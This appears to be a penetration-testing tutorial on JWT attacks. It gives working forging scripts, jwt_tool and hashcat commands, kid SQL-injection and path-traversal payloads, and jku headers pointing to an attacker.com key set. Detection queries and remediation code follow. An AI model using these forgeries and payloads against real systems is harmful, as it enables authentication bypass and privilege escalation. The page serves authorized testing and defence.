
JWT Attacks: Algorithm Confusion and Forgery
JWT attack techniques including none algorithm bypass, RS256 to HS256 confusion, weak secret cracking, and kid injection.
Introduction
JWT signature validation is broken at the implementation level in dozens of popular libraries. The RFC 7519 specification defines the format, but leaves enough ambiguity in validation logic that a server accepting {"alg":"none"} or treating an RS256 public key as an HS256 secret is not unusual — it's a documented failure mode affecting real production systems.
The structure is three base64url-encoded segments: header, payload, signature — joined with dots. The header dictates which algorithm the server must use to verify the signature on the third segment. That the server trusts the algorithm field from the token itself is the root cause of most JWT vulnerabilities. An attacker who controls the header controls verification logic.
These attacks are distinct from token theft or session fixation. They require no prior knowledge of credentials and no server-side session state. A valid-looking forged token with an arbitrary payload — escalated privileges, changed user ID, extended expiry — is constructed offline and submitted directly.
Authorization Required
All techniques documented here require explicit written authorization. Forging authentication tokens against systems you do not own is a criminal offense under the CFAA, Computer Misuse Act, and equivalent statutes. Test only in authorized environments: dedicated labs, bug bounty scope, or your own infrastructure.
Impact
- Complete authentication bypass — forge a token for any user ID or role
- Horizontal privilege escalation — change
subclaim to another user's ID - Vertical privilege escalation — modify
role,admin, orscopeclaims - Session persistence — craft tokens with far-future
expvalues - Backend SSRF via
jku/x5uheader injection pointing to attacker infrastructure - SQL injection through unsanitized
kidheader parameter - Arbitrary file read through
kidpath traversal
Technical Details
None Algorithm Bypass
The alg header field tells the server which algorithm to use when verifying the signature. "none" is a valid value defined in RFC 7519 to represent unsigned tokens — intended only for use in contexts where integrity is guaranteed by other means.
Libraries that process "alg":"none" in production do so because they follow the spec without applying the obvious security constraint: never accept unsigned tokens from untrusted sources. The attack strips the signature entirely and modifies the payload at will.
Decode and inspect the original token:
# Split on dots and base64url-decode each segment
TOKEN="eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwicmxvZSI6InVzZXIiLCJleHAiOjE3NTAwMDAwMDB9.SIGNATURE"
echo $TOKEN | cut -d. -f1 | base64 -d 2>/dev/null | python3 -m json.tool
# {"alg": "RS256", "typ": "JWT"}
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# {"sub": "1234", "role": "user", "exp": 1750000000}Craft the forged token:
import base64
import json
def b64url(data):
if isinstance(data, str):
data = data.encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b64url(json.dumps({"alg": "none", "typ": "JWT"}))
payload = b64url(json.dumps({"sub": "1234", "role": "admin", "exp": 9999999999}))
# Trailing dot with empty signature
forged = f"{header}.{payload}."
print(forged)Variations that bypass case-sensitivity checks in some libraries: "alg":"None", "alg":"NONE", "alg":"nOnE". Libraries parsing the algorithm name without normalizing case may accept these even when blocking lowercase "none".
RS256-to-HS256 Algorithm Confusion
This is the most technically interesting JWT attack. RS256 uses a private key to sign and a public key to verify. HS256 uses the same secret for both sign and verify. When a server allows the algorithm to be switched from RS256 to HS256, the HMAC verification secret becomes whatever value the server is configured to use for RS256 public key material — which is, by definition, public.
The attack flow: obtain the RS256 public key (from JWKS endpoint, certificate, or source code disclosure), switch the header to HS256, sign the forged payload using the public key as the HMAC secret. The server, now performing HMAC verification, uses the same public key bytes it has on hand and the signature validates.
# Most applications expose their JWKS at a standard endpoint
curl -s https://target.com/.well-known/jwks.json | python3 -m json.tool
# Convert JWK to PEM using jwt_tool or openssl
# jwt_tool handles this automatically with the -V flagpython3 jwt_tool.py <TOKEN> -X a
# jwt_tool automatically attempts RS256->HS256 confusion
# -X a = exploit algorithm confusion attack
# With explicit public key
python3 jwt_tool.py <TOKEN> -X a -pk public_key.pem
# Tamper payload claim before signing
python3 jwt_tool.py <TOKEN> -X a -pk public_key.pem -I -pc role -pv adminThe public key can appear in several forms: a PEM-formatted RSA public key from a JWKS endpoint, an X.509 certificate, or occasionally embedded in application source or configuration files. The key material used in HMAC signing must exactly match what the server holds — padding, newlines, and encoding matter.
import hmac
import hashlib
import base64
import json
# Public key as bytes (exactly as the server has it)
with open('public_key.pem', 'rb') as f:
public_key_bytes = f.read()
header = {"alg": "HS256", "typ": "JWT"}
payload = {"sub": "1234", "role": "admin", "exp": 9999999999}
def b64url(data):
if isinstance(data, (dict, list)):
data = json.dumps(data, separators=(',', ':')).encode()
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
signing_input = f"{b64url(header)}.{b64url(payload)}"
sig = hmac.new(public_key_bytes, signing_input.encode(), hashlib.sha256).digest()
token = f"{signing_input}.{b64url(sig)}"
print(token)Weak HS256 Secret Brute Force
HMAC-based JWTs are only as strong as their secret. Secrets derived from application names, environment names, or short random strings are routinely cracked against common wordlists. The JWT format exposes the algorithm and the expected signature, making offline attacks straightforward.
# hashcat mode 16500 = JWT (JSON Web Token)
hashcat -a 0 -m 16500 token.txt /usr/share/wordlists/rockyou.txt
# With rules for mutations
hashcat -a 0 -m 16500 token.txt wordlist.txt -r /usr/share/hashcat/rules/best64.rule
# Brute force short secrets
hashcat -a 3 -m 16500 token.txt '?a?a?a?a?a?a?a?a'
# Example output when cracked
# eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.signature:secret123python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txtSecrets to try manually before launching a full attack: secret, password, jwt_secret, the application name, development, staging, a blank string. Flask applications sometimes default to the SECRET_KEY value from config, which is often left as a placeholder.
Once the secret is known, sign arbitrary payloads:
python3 jwt_tool.py <TOKEN> -I -pc role -pv admin -S hs256 -p "recovered_secret"kid Header Injection
The kid (key ID) header parameter identifies which key the server should use to verify the signature. It's used in multi-key environments where several keys are in rotation. The server is expected to look up the key material using the kid value, which means the kid field is user-controlled input flowing into a data access layer — classic injection territory.
SQL injection via kid:
If the server queries a database for key material:
-- Intended query
SELECT key_value FROM jwt_keys WHERE kid = 'key-1'
-- Attacker-controlled kid
' UNION SELECT 'attacker_secret' --
-- Results in
SELECT key_value FROM jwt_keys WHERE kid = '' UNION SELECT 'attacker_secret' -- '
-- Returns: attacker_secretpython3 jwt_tool.py <TOKEN> -I -hc kid -hv "' UNION SELECT 'attacker_secret' -- " \
-S hs256 -p "attacker_secret"Path traversal via kid:
If the server reads key material from the filesystem using the kid value:
{"alg": "HS256", "kid": "../../../dev/null"}/dev/null reads as an empty string. Sign the token with an empty string as the HMAC secret:
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""
# Or point to a known file with predictable content
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../etc/hostname" -S hs256 -p "webserver01"Absolute paths also work in some implementations: "kid":"/dev/null" or "kid":"/proc/sys/kernel/hostname".
jku and x5u Header Hijacking
The jku (JWK Set URL) header tells the server where to fetch the public keys for verification. The x5u header does the same for X.509 certificates. Servers that fetch key material from a URL specified in the token itself will fetch from an attacker-controlled host if the value is tampered.
{
"alg": "RS256",
"jku": "https://attacker.com/jwks.json",
"kid": "attacker-key"
}Generate an RSA key pair and host the public key as a JWK set:
openssl genrsa -out attacker_private.pem 2048
openssl rsa -in attacker_private.pem -pubout -out attacker_public.pem# pip install python-jose
from jose import jwk
import json
with open('attacker_public.pem', 'r') as f:
public_pem = f.read()
key = jwk.construct(public_pem, algorithm='RS256')
jwks = {
"keys": [{
**key.public_key().to_dict(),
"kid": "attacker-key",
"use": "sig",
"alg": "RS256"
}]
}
print(json.dumps(jwks, indent=2))
# Host this at https://attacker.com/jwks.jsonpython3 jwt_tool.py <TOKEN> -X s \
-ju "https://attacker.com/jwks.json" \
-I -pc role -pv admin \
-pr attacker_private.pemBypass attempts when servers validate the jku domain: open redirect chains (https://target.com/redirect?url=https://attacker.com/jwks.json), SSRF-capable subdomains, URL parsing inconsistencies (https://attacker.com@target.com/jwks.json), parameter pollution.
Attack Tools
ticarpi/jwt_tool is the most complete CLI tool for JWT testing. It covers all major attack classes.
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt# Decode and inspect token
python3 jwt_tool.py <TOKEN>
# Run all automated tests
python3 jwt_tool.py <TOKEN> -t -rh "Authorization: Bearer <TOKEN>" \
-u https://target.com/api/protected
# None algorithm
python3 jwt_tool.py <TOKEN> -X n
# Algorithm confusion (auto-fetches JWKS if available)
python3 jwt_tool.py <TOKEN> -X a -pk public_key.pem
# Tamper a claim and re-sign with known secret
python3 jwt_tool.py <TOKEN> -I -pc sub -pv admin_user -S hs256 -p "secret"
# kid SQL injection
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "x' UNION SELECT 'hack'--" \
-S hs256 -p "hack"
# kid path traversal
python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../../dev/null" -S hs256 -p ""
# jku injection
python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/jwks.json" \
-I -pc role -pv admin -pr attacker_private.pem
# Crack HS256 secret
python3 jwt_tool.py <TOKEN> -C -d rockyou.txtFlag reference: -I tamper claims, -hc/-hv tamper header claim/value, -pc/-pv tamper payload claim/value, -S signing algorithm, -p signing secret, -pk PEM key file, -X exploit mode (n=none, a=alg confusion, s=jku spoof), -C crack mode, -d dictionary.
The JWT Editor extension by PortSwigger integrates JWT manipulation directly into Burp Suite's Repeater and Proxy.
Install: BApp Store → search "JWT Editor" → Install.
Key operations in Repeater:
- Intercept a request containing a JWT in
Authorization: Beareror cookie - Switch to the JSON Web Token tab in Repeater
- The header and payload are editable JSON — modify claim values directly
- To sign: click Attack → select the attack type
Attack types available:
- Embedded JWK — injects a JWK into the header containing the attacker's public key
- JWKS injection — sets
jkuto a hosted JWK set URL - Alg:none — strips signature and sets algorithm to none (tries case variants automatically)
- HS256 with RSA key — algorithm confusion, uses the RSA public key as HMAC secret
Keys tab: generate RSA/EC/OKP/symmetric keys for use in attacks. Keys persist across sessions.
Repeater tab → JSON Web Token → edit payload claim →
Attack → JWKS injection → enter hosted JWKS URL → OK → SendFor algorithm confusion: Keys tab → generate RSA key → copy public key to clipboard → in the attack dialog, paste or select the key.
# Prepare token file — paste raw JWT, one per line
echo "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.SIGNATURE" > token.txt
# Dictionary attack
hashcat -a 0 -m 16500 token.txt rockyou.txt
# With multiple rules
hashcat -a 0 -m 16500 token.txt rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
-r /usr/share/hashcat/rules/toggles1.rule
# Brute force up to 8 characters (all printable)
hashcat -a 3 -m 16500 token.txt '?a?a?a?a?a?a?a?a' --increment
# Combinator — two wordlists concatenated
hashcat -a 1 -m 16500 token.txt wordlist1.txt wordlist2.txt
# Show cracked results
hashcat -m 16500 token.txt --show
# GPU acceleration (auto-detected, add -d 1 to target specific GPU)
hashcat -a 0 -m 16500 token.txt rockyou.txt -OExpected output when cracked:
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0In0.XbPfbIHMI6arZ3Y9aSIzSA:secret
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 16500 (JWT (JSON Web Token))Detection
Log sources: WAF logs, application authentication logs, API gateway access logs, SIEM ingestion of JWT validation errors.
Algorithm anomalies — alert on tokens presenting unexpected algorithm values:
| Condition | Severity | Notes |
|---|---|---|
alg: none or case variants | Critical | Should never appear in production tokens |
alg changed between requests for same session | High | Potential algorithm confusion attempt |
| Unknown or non-standard algorithm value | High | May indicate fuzzing or manipulation |
alg: HS256 on application using asymmetric keys | High | RS256-to-HS256 confusion |
Splunk query for none algorithm:
index=web_logs sourcetype=nginx_access
| rex field=_raw "Authorization: Bearer (?<jwt_token>[A-Za-z0-9\-_]+\.[A-Za-z0-9\-_]+)"
| eval header=lower(urldecode(replace(mvindex(split(jwt_token,"."),0), "-", "+", "_", "/")))
| search header="*\"alg\":\"none\"*" OR header="*\"alg\":\"none\"*"
| stats count by src_ip, uri_pathkid injection indicators — log anomalies in the kid field:
index=app_logs event_type=jwt_validation
| rex field=kid_value "(?<sqli_indicator>['\";]|UNION|SELECT|--)"
| rex field=kid_value "(?<traversal_indicator>\.\./|\.\.\\)"
| where isnotnull(sqli_indicator) OR isnotnull(traversal_indicator)
| table _time, src_ip, kid_value, user_agentjku/x5u SSRF detection — outbound requests from the backend triggered by token validation:
Alert: outbound HTTP from JWT validation service to non-allowlisted domain
Source: token validation worker
Destination: any external host not in approved JWKS domain listToken age and expiry — tokens with exp set more than 24 hours in the future, or no exp claim at all, warrant investigation. Tokens with iat in the future indicate clock manipulation or forgery.
Windows Event IDs (if JWT validation occurs in an IIS/Windows environment): 4625 (failed logon), 4648 (explicit credential logon attempt). On Linux-based stacks, monitor application logs directly.
Remediation
Pin accepted algorithms — never derive the verification algorithm from the token itself:
import jwt
# WRONG — algorithm from token header
decoded = jwt.decode(token, public_key, algorithms=jwt.get_unverified_header(token)['alg'])
# CORRECT — algorithm pinned server-side
decoded = jwt.decode(token, public_key, algorithms=["RS256"])// WRONG
jwt.verify(token, secret);
// CORRECT — algorithm explicitly specified
jwt.verify(token, secret, { algorithms: ['HS256'] });Use asymmetric algorithms — prefer RS256, ES256, or PS256 over HS256 for any multi-service architecture. HMAC secrets must be shared; RSA/EC private keys are never distributed.
Validate kid strictly — treat kid as an identifier, not a filename or SQL fragment:
ALLOWED_KIDS = {
"key-2024-01": load_pem("keys/key-2024-01.pem"),
"key-2024-06": load_pem("keys/key-2024-06.pem"),
}
kid = jwt.get_unverified_header(token).get("kid")
if kid not in ALLOWED_KIDS:
raise ValueError(f"Unknown kid: {kid}")
public_key = ALLOWED_KIDS[kid]Reject jku and x5u headers — unless you have a specific, validated need for dynamic key material, reject tokens containing these headers. If required, validate against a strict allowlist of domains:
ALLOWED_JWKS_DOMAINS = {"auth.example.com"}
jku = header.get("jku")
if jku:
from urllib.parse import urlparse
if urlparse(jku).hostname not in ALLOWED_JWKS_DOMAINS:
raise ValueError("Untrusted jku domain")Enforce expiry — always validate exp, iat, and nbf claims. Set maximum token lifetimes appropriate to the sensitivity of the resource. Reject tokens without an exp claim.
Library hygiene — keep JWT libraries updated. CVE-2015-9235 (python-jose none algorithm), CVE-2016-10555 (node-jsonwebtoken), and similar were patched years ago but persist in pinned dependency trees. Run npm audit / pip-audit as part of CI.
References
MITRE ATT&CK Techniques
- T1528 - Steal Application Access Token
- T1550.001 - Use Alternate Authentication Material: Application Access Token
- T1078 - Valid Accounts
Tools Documentation
- jwt_tool — ticarpi/jwt_tool
- JWT Editor — PortSwigger BApp Store
- hashcat — mode 16500
- RFC 7519 — JSON Web Token
- RFC 7517 — JSON Web Key
- PortSwigger JWT Attack Research
Next Steps
Insecure Deserialization: Object Manipulation Attacks
Deserialization vulnerabilities in Java, PHP, Python, .NET, and Node.js including gadget chains, exploitation techniques, and remediation.
OAuth 2.0 Misconfigurations and Token Theft
OAuth 2.0 attack techniques including redirect_uri bypass, state parameter CSRF, implicit flow token leakage, and authorization code interception.